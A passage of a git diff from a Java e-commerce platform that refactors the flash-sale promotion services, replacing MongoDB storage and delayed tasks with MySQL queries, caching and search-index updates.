//循环秒杀商品数据,将数据按照时间段进行存储 - for (SeckillApply seckillApply : seckill.getSeckillApplyList()) { - if (seckillApply.getPromotionApplyStatus().equals(PromotionApplyStatusEnum.PASS.name())) { - //下一个时间,默认为当天结束时间 - int nextHour = 23; - String[] split = seckill.getHours().split(","); - int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); - //排序时间段 - Arrays.sort(hoursSored); - for (int i : hoursSored) { - //如果当前时间段大于排序后的时间段的某个,当前时间段的下个时间段即为排序后的时间段的某个 - if (seckillApply.getTimeLine() < i) { - nextHour = i; - break; - } - } - Seckill seckill1 = JSONUtil.toBean(JSONUtil.toJsonStr(seckill), Seckill.class); - String format = DateUtil.format(seckill.getStartTime(), cn.lili.common.utils.DateUtil.STANDARD_DATE_FORMAT); - DateTime parseStartTime = DateUtil.parse((format + " " + seckillApply.getTimeLine()), "yyyy-MM-dd HH"); - DateTime parseEndTime = DateUtil.parse((format + " " + nextHour), "yyyy-MM-dd HH"); - //如果是当天最后的时间段则设置到当天结束时间的59分59秒 - if (nextHour == seckillApply.getTimeLine()) { - parseEndTime = DateUtil.parse((format + " " + nextHour + ":59:59"), cn.lili.common.utils.DateUtil.STANDARD_FORMAT); - } - seckill1.setStartTime(parseStartTime); - //当时商品的秒杀活动活动结束时间为下个时间段的开始 - seckill1.setEndTime(parseEndTime); - log.info("更新限时抢购商品状态:{}", seckill1); - this.goodsIndexService.updateEsGoodsIndex(seckillApply.getSkuId(), seckill1, promotionTypeEnum.name() + "-" + seckillApply.getTimeLine(), seckillApply.getPrice()); + private void getGoodsCurrentSeckill(PromotionGoods promotionGoods, Map promotionMap, EsGoodsIndex index) { + Seckill seckill = seckillService.getById(promotionGoods.getPromotionId()); + SeckillSearchParams searchParams = new SeckillSearchParams(); + searchParams.setSeckillId(promotionGoods.getPromotionId()); + searchParams.setSkuId(promotionGoods.getSkuId()); + List seckillApplyList = seckillApplyService.getSeckillApply(searchParams); + if (seckillApplyList != null && !seckillApplyList.isEmpty()) { + SeckillApply seckillApply = seckillApplyList.get(0); + int nextHour = 23; + String[] split = seckill.getHours().split(","); + int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); + Arrays.sort(hoursSored); + for (int i : hoursSored) { + if (seckillApply.getTimeLine() < i) { + nextHour = i; } } + String seckillKey = promotionGoods.getPromotionType() + "-" + nextHour; + seckill.setStartTime(promotionGoods.getStartTime()); + seckill.setEndTime(promotionGoods.getEndTime()); + promotionMap.put(seckillKey, seckill); + index.setPromotionPrice(promotionGoods.getPrice()); } - this.mongoTemplate.save(seckill); - return result; } - /** - * 修改积分商品状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updatePointsGoods(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - boolean result; - PointsGoodsVO pointsGoodsVO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), PointsGoodsVO.class); - if (pointsGoodsVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - pointsGoodsVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.pointsGoodsService.update(updateWrapper(promotionMessage)); - this.mongoTemplate.save(pointsGoodsVO); - return result; - } - - /** - * 修改砍价商品状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateKanjiaGoods(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), KanjiaActivityGoodsDTO.class); - if (kanJiaActivityGoodsDTO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - kanJiaActivityGoodsDTO.setPromotionStatus(promotionMessage.getPromotionStatus()); - boolean result = this.kanJiaActivityGoodsService.updateById(kanJiaActivityGoodsDTO); - if (result) { - this.mongoTemplate.save(kanJiaActivityGoodsDTO); - } - return result; - } - - /** - * 修改优惠券活动状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateCouponActivity(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - - //如果是精准发券,进行发送优惠券 - CouponActivity couponActivity = couponActivityService.getById(promotionMessage.getPromotionId()); - if (couponActivity.getCouponActivityType().equals(CouponActivityTypeEnum.SPECIFY.name())) { - couponActivityService.specify(couponActivity.getId()); - } - - //修改活动状态 - return couponActivityService.update(new LambdaUpdateWrapper() - .eq(CouponActivity::getId, promotionMessage.getPromotionId()) - .set(CouponActivity::getPromotionStatus, promotionMessage.getPromotionStatus())); - } - - /** - * 更新促销商品信息 - * - * @param promotionId 促销活动ID - * @param promotionStatus 活动状态 - */ - private void updatePromotionGoods(String promotionId, String promotionStatus) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(PromotionGoods::getPromotionId, promotionId).set(PromotionGoods::getPromotionStatus, promotionStatus); - this.promotionGoodsService.update(updateWrapper); - } - - - /** - * 抛出促销异常 - * - * @param type 促销类型 - * @param id 促销编号 - * @param status 促销状态 - */ - private void throwPromotionException(PromotionTypeEnum type, String id, String status) { - log.error("当前" + type.name() + "活动ID为[" + id + "] 不存在,更改活动状态至[ " + status + " ]失败!"); - throw new ServiceException(ResultCode.PROMOTION_STATUS_END); - } - - - /** - * 根据消息,获取update wrapper - * - * @param - * @return - */ - private UpdateWrapper updateWrapper(PromotionMessage promotionMessage) { - UpdateWrapper updateWrapper = new UpdateWrapper<>(); - updateWrapper.eq("id", promotionMessage.getPromotionId()); - updateWrapper.set("promotion_status", PromotionStatusEnum.valueOf(promotionMessage.getPromotionStatus())); - return updateWrapper; - } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java index 4142251e..56b50ca8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java @@ -1,12 +1,12 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; +import cn.hutool.core.date.DatePattern; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.cache.Cache; +import cn.lili.cache.CachePrefix; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -16,8 +16,8 @@ import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; -import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.modules.promotion.entity.vos.*; import cn.lili.modules.promotion.mapper.SeckillApplyMapper; import cn.lili.modules.promotion.service.PromotionGoodsService; @@ -25,14 +25,12 @@ import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.promotion.tools.PromotionCacheKeys; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.modules.search.service.EsGoodsIndexService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; @@ -48,18 +46,14 @@ import java.util.stream.Collectors; */ @Service @Transactional(rollbackFor = Exception.class) +@Slf4j public class SeckillApplyServiceImpl extends ServiceImpl implements SeckillApplyService { /** * 缓存 */ @Autowired - private Cache cache; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; + private Cache> cache; /** * 规格商品 */ @@ -75,33 +69,11 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimeline() { - List timelineVoS = new ArrayList<>(); //秒杀活动缓存key - String seckillCacheKey = PromotionCacheKeys.getSeckillTimelineKey(DateUtil.format(DateUtil.beginOfDay(new DateTime()), "yyyyMMdd")); - Map cacheSeckill = cache.getHash(seckillCacheKey); - if (cacheSeckill == null || cacheSeckill.isEmpty()) { - //如缓存中不存在,则单独获取 - try { - timelineVoS = getSeckillTimelineToCache(seckillCacheKey); - } catch (Exception e) { - log.error("获取秒杀活动信息发生错误!", e); - } - } else { - //如缓存中存在,则取缓存中转为展示的信息 - for (Object value : cacheSeckill.values()) { - SeckillTimelineVO seckillTimelineVO = (SeckillTimelineVO) value; - timelineVoS.add(seckillTimelineVO); - } - } - return timelineVoS; + return getSeckillTimelineToCache(null); } @Override @@ -109,104 +81,105 @@ public class SeckillApplyServiceImpl extends ServiceImpl seckillGoodsVoS = new ArrayList<>(); //秒杀活动缓存key String seckillCacheKey = PromotionCacheKeys.getSeckillTimelineKey(DateUtil.format(DateUtil.beginOfDay(new DateTime()), "yyyyMMdd")); - Map cacheSeckill = cache.getHash(seckillCacheKey); + List cacheSeckill = cache.get(seckillCacheKey); if (cacheSeckill == null || cacheSeckill.isEmpty()) { //如缓存中不存在,则单独获取 - seckillGoodsVoS = wrapperSeckillGoods(timeline); + List seckillTimelineToCache = getSeckillTimelineToCache(seckillCacheKey); + Optional first = seckillTimelineToCache.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); + if (first.isPresent()) { + seckillGoodsVoS = first.get().getSeckillGoodsList(); + } } else { //如缓存中存在,则取缓存中转为展示的信息 - for (Map.Entry entry : cacheSeckill.entrySet()) { - Integer timelineKey = Convert.toInt(entry.getKey().toString()); - if (timelineKey.equals(timeline)) { - seckillGoodsVoS = (List) entry.getValue(); - } + Optional first = cacheSeckill.stream().filter(i -> i.getTimeLine().equals(timeline)).findFirst(); + if (first.isPresent()) { + seckillGoodsVoS = first.get().getSeckillGoodsList(); } } return seckillGoodsVoS; } @Override - public IPage getSeckillApplyFromMongo(SeckillSearchParams queryParam, PageVO pageVo) { - IPage seckillApplyPage = new Page<>(); - Query query = queryParam.mongoQuery(); + public IPage getSeckillApply(SeckillSearchParams queryParam, PageVO pageVo) { + IPage seckillApplyPage = this.page(PageUtil.initPage(pageVo), queryParam.queryWrapper()); + if (seckillApplyPage != null && !seckillApplyPage.getRecords().isEmpty()) { - SeckillVO seckillVO = this.mongoTemplate.findOne(query, SeckillVO.class); - if (seckillVO != null && pageVo != null) { - seckillApplyPage.setCurrent(pageVo.getMongoPageNumber()); - seckillApplyPage.setSize(pageVo.getPageSize()); - List seckillApplyList = seckillVO.getSeckillApplyList() != null ? seckillVO.getSeckillApplyList() : new ArrayList<>(); - // 如果查询参数店铺id不为空,则表示是店铺在查询信息,那么这里要对店铺的请求做过滤处理,把其他店铺的信息进行移除 - seckillApplyList.removeIf(seckillApply -> CharSequenceUtil.isNotEmpty(queryParam.getStoreId()) && !seckillApply.getStoreId().equals(queryParam.getStoreId())); - - //获取skuid - List skuIds = seckillApplyList.stream() + //获取skuId + List skuIds = seckillApplyPage.getRecords().stream() .map(SeckillApply::getSkuId).collect(Collectors.toList()); //循环获取 店铺/全平台 参与的促销商品库存进行填充 - if (skuIds.size() > 0) { - List skuStock = promotionGoodsService.getPromotionGoodsStock(PromotionTypeEnum.SECKILL, seckillVO.getId(), skuIds); + if (!skuIds.isEmpty()) { + List skuStock = promotionGoodsService.getPromotionGoodsStock(PromotionTypeEnum.SECKILL, queryParam.getSeckillId(), skuIds); for (int i = 0; i < skuIds.size(); i++) { - seckillApplyList.get(i).setQuantity(skuStock.get(i)); + seckillApplyPage.getRecords().get(i).setQuantity(skuStock.get(i)); } } - - seckillApplyPage.setTotal(seckillApplyList.size()); - List page = CollUtil.page(pageVo.getMongoPageNumber(), pageVo.getPageSize(), seckillApplyList); - seckillApplyPage.setRecords(page); - return seckillApplyPage; - } else { - return null; } + return seckillApplyPage; + } + + /** + * 分页查询限时请购申请列表 + * + * @param queryParam 秒杀活动申请查询参数 + * @return 限时请购申请列表 + */ + @Override + public List getSeckillApply(SeckillSearchParams queryParam) { + return this.list(queryParam.queryWrapper()); } @Override public void addSeckillApply(String seckillId, String storeId, List seckillApplyList) { - SeckillVO seckill = mongoTemplate.findById(seckillId, SeckillVO.class); + Seckill seckill = this.seckillService.getById(seckillId); if (seckill == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } + if (seckillApplyList == null || seckillApplyList.isEmpty()) { + return; + } //检查秒杀活动申请是否合法 - checkSeckillApplyList(seckill.getHours(), seckillApplyList, storeId); + checkSeckillApplyList(seckill.getHours(), seckillApplyList); //获取已参与活动的秒杀活动活动申请列表 - List originList = seckill.getSeckillApplyList() != null ? seckill.getSeckillApplyList() : new ArrayList<>(); + List skuIds = seckillApplyList.stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); + List originList = new ArrayList<>(); List promotionGoodsList = new ArrayList<>(); for (SeckillApplyVO seckillApply : seckillApplyList) { //获取参与活动的商品信息 GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(seckillApply.getSkuId()); + if (!goodsSku.getStoreId().equals(storeId)) { + continue; + } //获取秒杀活动时间段 DateTime startTime = DateUtil.offsetHour(seckill.getStartTime(), seckillApply.getTimeLine()); //检测是否可以发布促销商品 checkSeckillGoodsSku(seckill, seckillApply, goodsSku, startTime); //设置秒杀申请默认内容 seckillApply.setOriginalPrice(goodsSku.getPrice()); - seckillApply.setPromotionApplyStatus(PromotionApplyStatusEnum.PASS.name()); + seckillApply.setPromotionApplyStatus(PromotionsApplyStatusEnum.PASS.name()); seckillApply.setSalesNum(0); - //过滤掉已经新增过的秒杀商品 - if (seckillApply.getId() == null) { - originList.add(seckillApply); - } + originList.add(seckillApply); //获取促销商品 PromotionGoods promotionGoods = this.setSeckillGoods(goodsSku, seckillApply, seckill); promotionGoodsList.add(promotionGoods); } - //保存秒杀活动申请 - this.saveOrUpdateBatch(originList); - //设置秒杀活动下的申请列表 - seckill.setSeckillApplyList(originList); - //mongo保存秒杀活动信息 - this.mongoTemplate.save(seckill); + this.remove(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId).in(SeckillApply::getSkuId, skuIds)); + this.saveBatch(originList); + this.seckillService.updateEsGoodsSeckill(seckill, originList); //保存促销活动商品信息 if (!promotionGoodsList.isEmpty()) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.in(PromotionGoods::getSkuId, promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList())) - .eq(PromotionGoods::getStoreId, storeId); - promotionGoodsService.remove(queryWrapper); + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setStoreId(storeId); + searchParams.setSkuIds(promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList())); + promotionGoodsService.deletePromotionGoods(searchParams); //初始化促销商品 PromotionTools.promotionGoodsInit(promotionGoodsList, seckill, PromotionTypeEnum.SECKILL); promotionGoodsService.saveBatch(promotionGoodsList); } //设置秒杀活动的商品数量、店铺数量 seckillService.updateSeckillGoodsNum(seckillId); + cache.vagueDel(CachePrefix.STORE_ID_SECKILL); } @@ -214,31 +187,27 @@ public class SeckillApplyServiceImpl extends ServiceImpl id.contains(seckillApply1.getId())); - this.mongoTemplate.save(seckillVO); + this.remove(new LambdaQueryWrapper() + .eq(SeckillApply::getSeckillId, seckillId) + .in(SeckillApply::getId, id)); //删除促销商品 - this.removeById(id); - - //清除索引 - this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuId, seckillId); - //删除促销商品 - promotionGoodsService.remove(new LambdaQueryWrapper() - .eq(PromotionGoods::getSkuId, skuId) - .eq(PromotionGoods::getPromotionType, PromotionTypeEnum.SECKILL.name())); + this.promotionGoodsService.deletePromotionGoods(seckillId, Collections.singletonList(seckillApply.getSkuId())); } /** @@ -246,12 +215,10 @@ public class SeckillApplyServiceImpl extends ServiceImpl seckillApplyList, String storeId) { + private void checkSeckillApplyList(String hours, List seckillApplyList) { List existSku = new ArrayList<>(); for (SeckillApplyVO seckillApply : seckillApplyList) { - seckillApply.setStoreId(storeId); if (seckillApply.getPrice() > seckillApply.getOriginalPrice()) { throw new ServiceException(ResultCode.SECKILL_PRICE_ERROR); } @@ -280,42 +247,41 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillTimelineToCache(String seckillCacheKey) { List timelineList = new ArrayList<>(); LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - //查询当天时间段内的且状态不为结束或关闭的秒杀活动活动 - queryWrapper.ge(Seckill::getStartTime, new Date(cn.lili.common.utils.DateUtil.startOfTodDay() * 1000)).le(Seckill::getEndTime, cn.lili.common.utils.DateUtil.endOfDate()) - .and(i -> i.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()) - .or(j -> j.eq(Seckill::getPromotionStatus, PromotionStatusEnum.START.name()))); - List seckillList = seckillService.list(queryWrapper); - if (!seckillList.isEmpty()) { - for (Seckill seckill : seckillList) { - //读取系统时间的时刻 - Calendar c = Calendar.getInstance(); - int hour = c.get(Calendar.HOUR_OF_DAY); - String[] split = seckill.getHours().split(","); - int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); - Arrays.sort(hoursSored); - for (int i = 0; i < hoursSored.length; i++) { - SeckillTimelineVO tempTimeline = new SeckillTimelineVO(); - boolean hoursSoredHour = (hoursSored[i] >= hour || ((i + 1) < hoursSored.length && hoursSored[i + 1] > hour)); - if (hoursSoredHour) { - SimpleDateFormat format = new SimpleDateFormat(cn.lili.common.utils.DateUtil.STANDARD_DATE_FORMAT); - String date = format.format(new Date()); - //当前时间的秒数 - long currentTime = cn.lili.common.utils.DateUtil.getDateline(); - //秒杀活动的时刻 - long timeLine = cn.lili.common.utils.DateUtil.getDateline(date + " " + hoursSored[i], "yyyy-MM-dd HH"); + //查询当天时间段内的秒杀活动活动 + Date now = new Date(); + queryWrapper.between(BasePromotions::getStartTime, DateUtil.beginOfDay(now), DateUtil.endOfDay(now)); + queryWrapper.ge(BasePromotions::getEndTime, DateUtil.endOfDay(now)); + List seckillList = this.seckillService.list(queryWrapper); + for (Seckill seckill : seckillList) { + //读取系统时间的时刻 + Calendar c = Calendar.getInstance(); + int hour = c.get(Calendar.HOUR_OF_DAY); + String[] split = seckill.getHours().split(","); + int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); + Arrays.sort(hoursSored); + for (int i = 0; i < hoursSored.length; i++) { + SeckillTimelineVO tempTimeline = new SeckillTimelineVO(); + boolean hoursSoredHour = (hoursSored[i] >= hour || ((i + 1) < hoursSored.length && hoursSored[i + 1] > hour)); + if (hoursSoredHour) { + SimpleDateFormat format = new SimpleDateFormat(DatePattern.NORM_DATE_PATTERN); + String date = format.format(new Date()); + //当前时间的秒数 + long currentTime = DateUtil.currentSeconds(); + //秒杀活动的时刻 + long timeLine = cn.lili.common.utils.DateUtil.getDateline(date + " " + hoursSored[i], "yyyy-MM-dd HH"); - - Long distanceTime = timeLine - currentTime < 0 ? 0 : timeLine - currentTime; - tempTimeline.setDistanceStartTime(distanceTime); - tempTimeline.setStartTime(timeLine); - tempTimeline.setTimeLine(hoursSored[i]); - tempTimeline.setSeckillGoodsList(wrapperSeckillGoods(hoursSored[i])); - timelineList.add(tempTimeline); - } + Long distanceTime = timeLine - currentTime < 0 ? 0 : timeLine - currentTime; + tempTimeline.setDistanceStartTime(distanceTime); + tempTimeline.setStartTime(timeLine); + tempTimeline.setTimeLine(hoursSored[i]); + tempTimeline.setSeckillGoodsList(wrapperSeckillGoods(hoursSored[i], seckill.getId())); + timelineList.add(tempTimeline); } } } - + if (CharSequenceUtil.isNotEmpty(seckillCacheKey)) { + cache.put(seckillCacheKey, timelineList); + } return timelineList; } @@ -326,27 +292,20 @@ public class SeckillApplyServiceImpl extends ServiceImpl wrapperSeckillGoods(Integer startTimeline) { + private List wrapperSeckillGoods(Integer startTimeline, String seckillId) { List seckillGoodsVoS = new ArrayList<>(); - LambdaQueryWrapper seckillLambdaQueryWrapper = new LambdaQueryWrapper<>(); - seckillLambdaQueryWrapper.ge(Seckill::getStartTime, new Date(cn.lili.common.utils.DateUtil.startOfTodDay() * 1000)).le(Seckill::getEndTime, cn.lili.common.utils.DateUtil.endOfDate()) - .and(i -> i.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()) - .or(j -> j.eq(Seckill::getPromotionStatus, PromotionStatusEnum.START.name()))); - List seckillList = this.seckillService.list(seckillLambdaQueryWrapper); - if (!seckillList.isEmpty()) { - for (Seckill seckill : seckillList) { - LambdaQueryWrapper seckillApplyLambdaQueryWrapper = new LambdaQueryWrapper().eq(SeckillApply::getTimeLine, startTimeline).eq(SeckillApply::getSeckillId, seckill.getId()).eq(SeckillApply::getPromotionApplyStatus, PromotionApplyStatusEnum.PASS.name()); - List list = this.list(seckillApplyLambdaQueryWrapper); - for (SeckillApply seckillApply : list) { - GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(seckillApply.getSkuId()); - if (goodsSku != null) { - SeckillGoodsVO goodsVO = new SeckillGoodsVO(); - BeanUtil.copyProperties(seckillApply, goodsVO); - goodsVO.setGoodsImage(goodsSku.getThumbnail()); - goodsVO.setGoodsId(goodsSku.getGoodsId()); - goodsVO.setGoodsName(goodsSku.getGoodsName()); - seckillGoodsVoS.add(goodsVO); - } + List seckillApplyList = this.list(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId)); + if (!seckillApplyList.isEmpty()) { + List collect = seckillApplyList.stream().filter(i -> i.getTimeLine().equals(startTimeline) && i.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())).collect(Collectors.toList()); + for (SeckillApply seckillApply : collect) { + GoodsSku goodsSku = goodsSkuService.getGoodsSkuByIdFromCache(seckillApply.getSkuId()); + if (goodsSku != null) { + SeckillGoodsVO goodsVO = new SeckillGoodsVO(); + BeanUtil.copyProperties(seckillApply, goodsVO); + goodsVO.setGoodsImage(goodsSku.getThumbnail()); + goodsVO.setGoodsId(goodsSku.getGoodsId()); + goodsVO.setGoodsName(goodsSku.getGoodsName()); + seckillGoodsVoS.add(goodsVO); } } } @@ -361,7 +320,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl implements SeckillService { +@Slf4j +public class SeckillServiceImpl extends AbstractPromotionsServiceImpl implements SeckillService { - - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; /** * 商品索引 */ @Autowired private EsGoodsIndexService goodsIndexService; - /** - * 促销商品 - */ - @Autowired - private PromotionGoodsService promotionGoodsService; - /** - * 秒杀申请 - */ - @Autowired - private SeckillApplyService seckillApplyService; /** * 设置 */ @Autowired private SettingService settingService; - @Override - public IPage getSeckillByPageFromMysql(SeckillSearchParams queryParam, PageVO pageVo) { - QueryWrapper queryWrapper = queryParam.wrapper(); - return page(PageUtil.initPage(pageVo), queryWrapper); - } + @Autowired + private SeckillApplyService seckillApplyService; + @Override - public IPage getSeckillByPageFromMongo(SeckillSearchParams queryParam, PageVO pageVo) { - IPage seckill = new Page<>(pageVo.getPageNumber(), pageVo.getPageSize()); - if (queryParam == null) { - queryParam = new SeckillSearchParams(); - } - Query query = queryParam.mongoQuery(); - pageVo.setNotConvert(true); - PromotionTools.mongoQueryPageParam(query, pageVo); - seckill.setCurrent(pageVo.getPageNumber()); - seckill.setSize(pageVo.getPageSize()); - List seckillVOS = this.mongoTemplate.find(query, SeckillVO.class); - seckill.setRecords(seckillVOS); - seckill.setTotal(this.mongoTemplate.count(queryParam.mongoQuery(), SeckillVO.class)); - return seckill; - } - - @Override - public SeckillVO getSeckillByIdFromMongo(String id) { - return this.checkSeckillExist(id); + public SeckillVO getSeckillDetail(String id) { + Seckill seckill = this.checkSeckillExist(id); + SeckillVO seckillVO = new SeckillVO(); + BeanUtils.copyProperties(seckill, seckillVO); + seckillVO.setSeckillApplyList(this.seckillApplyService.list(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, id))); + return seckillVO; } @Override public void init() { //清除演示数据 - List seckillList = list(); + List seckillList = this.list(); for (Seckill seckill : seckillList) { - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckill.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.SECKILL.name() + seckill.getId())), - rocketmqCustomProperties.getPromotionTopic()); - this.removeById(seckill.getId()); + seckill.setStartTime(null); + seckill.setEndTime(null); + this.goodsIndexService.updateEsGoodsIndexAllByList(seckill, PromotionTypeEnum.SECKILL.name() + "-" + seckill.getId()); } + this.remove(new QueryWrapper<>()); Setting setting = settingService.get(SettingEnum.SECKILL_SETTING.name()); SeckillSetting seckillSetting = new Gson().fromJson(setting.getSettingValue(), SeckillSetting.class); for (int i = 1; i <= PRE_CREATION; i++) { Seckill seckill = new Seckill(i, seckillSetting.getHours(), seckillSetting.getSeckillRule()); - this.saveSeckill(seckill); - } - } - - @Override - public boolean saveSeckill(Seckill seckill) { - - SeckillVO seckillVO = new SeckillVO(); - BeanUtil.copyProperties(seckill, seckillVO); - - seckillVO.setSeckillApplyStatus(SeckillApplyStatusEnum.NOT_APPLY.name()); - seckillVO.setSeckillApplyList(null); - //检查秒杀活动参数 - checkSeckillParam(seckillVO); - //保存到MYSQL中 - boolean result = this.save(seckillVO); - //保存到MONGO中 - this.mongoTemplate.save(seckillVO); - //添加秒杀延时任务 - this.addSeckillStartTask(seckillVO); - return result; - } - - @Override - public void storeApply(String storeId, String seckillId) { - Seckill seckill = this.getById(seckillId); - String storeIds; - if (!StringUtils.isEmpty(seckill.getStoreIds())) { - storeIds = seckill.getStoreIds() + storeId + ","; - } else { - storeIds = storeId + ","; - } - seckill.setStoreIds(storeIds); - - this.updateById(seckill); - } - - @Override - public boolean modifySeckill(SeckillVO seckillVO) { - //检查该秒杀活动是否存在 - SeckillVO seckill = checkSeckillExist(seckillVO.getId()); - if (PromotionStatusEnum.START.name().equals(seckillVO.getPromotionStatus())) { - throw new ServiceException(ResultCode.PROMOTION_UPDATE_ERROR); - } - if (seckillVO.getEndTime() == null) { - seckillVO.setEndTime(cn.hutool.core.date.DateUtil.endOfDay(seckillVO.getStartTime())); - } - PromotionTools.checkPromotionTime(seckillVO.getStartTime().getTime(), seckillVO.getEndTime().getTime()); - //检查秒杀活动参数 - this.checkSeckillParam(seckillVO); - //更新到MYSQL中 - boolean result = this.updateById(seckillVO); - //保存到MONGO中 - this.mongoTemplate.save(seckillVO); - //如果编辑后活动时间不一致,则编辑延时任务 - if (seckill.getStartTime().getTime() != seckillVO.getStartTime().getTime()) { - if (seckillVO.getEndTime() == null) { - seckillVO.setEndTime(cn.hutool.core.date.DateUtil.endOfDay(new Date())); - } - PromotionMessage promotionMessage = new PromotionMessage(seckillVO.getId(), PromotionTypeEnum.SECKILL.name(), PromotionStatusEnum.START.name(), seckillVO.getStartTime(), seckillVO.getEndTime()); - //更新延时任务 - this.timeTrigger.edit(TimeExecuteConstant.PROMOTION_EXECUTOR, - promotionMessage, - seckill.getStartTime().getTime(), - seckillVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - DateUtil.getDelayTime(seckillVO.getStartTime().getTime()), - rocketmqCustomProperties.getPromotionTopic()); - } - return result; - } - - @Override - public void deleteSeckill(String id) { - Seckill seckill = checkSeckillExist(id); - if (PromotionStatusEnum.CLOSE.name().equals(seckill.getPromotionStatus()) || PromotionStatusEnum.END.name().equals(seckill.getPromotionStatus())) { - //更新秒杀活动状态为关闭,标示删除标志 - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper().eq(Seckill::getId, id).set(Seckill::getDeleteFlag, true).set(Seckill::getPromotionStatus, PromotionStatusEnum.CLOSE.name()); - this.update(updateWrapper); - LambdaUpdateWrapper seckillApplyLambdaUpdateWrapper = new LambdaUpdateWrapper().eq(SeckillApply::getSeckillId, id).set(SeckillApply::getDeleteFlag, true); - this.seckillApplyService.update(seckillApplyLambdaUpdateWrapper); - this.mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), SeckillVO.class); - LambdaUpdateWrapper promotionGoodsQueryWrapper = new LambdaUpdateWrapper().eq(PromotionGoods::getPromotionId, id).set(PromotionGoods::getDeleteFlag, true); - this.promotionGoodsService.update(promotionGoodsQueryWrapper); - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckill.getStartTime().getTime(), - 